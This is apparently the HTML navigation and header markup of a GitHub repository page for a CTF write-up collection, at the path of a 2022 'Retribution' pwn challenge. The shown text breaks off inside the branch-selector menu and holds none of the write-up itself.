<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="437949506" data-scoped-search-url="/GonTanaka/CTF-Writeups/search" data-owner-scoped-search-url="/users/GonTanaka/search" data-unscoped-search-url="/search" data-turbo="false" action="/GonTanaka/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="E8oHLOOOvwHPx3otDFk0beSDJlflFOBGm0YUneqVnZio3NcRDf6eqnMHv96ppAuYG62IRiMckWtzU6OF379JSQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> GonTanaka </span> <span>/</span> CTF-Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/GonTanaka/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":437949506,"originating_url":"https://github.com/GonTanaka/CTF-Writeups/tree/main/Cyber_Apocalypse2022/pwn/Retribution","user_id":null}}" data-hydro-click-hmac="bbcc8a2b87445158fc07521f62b5fc7a64f294f097fa71d8404d12971a300c50"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/GonTanaka/CTF-Writeups/refs" cache-key="v0:1655044557.692943" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="R29uVGFuYWthL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
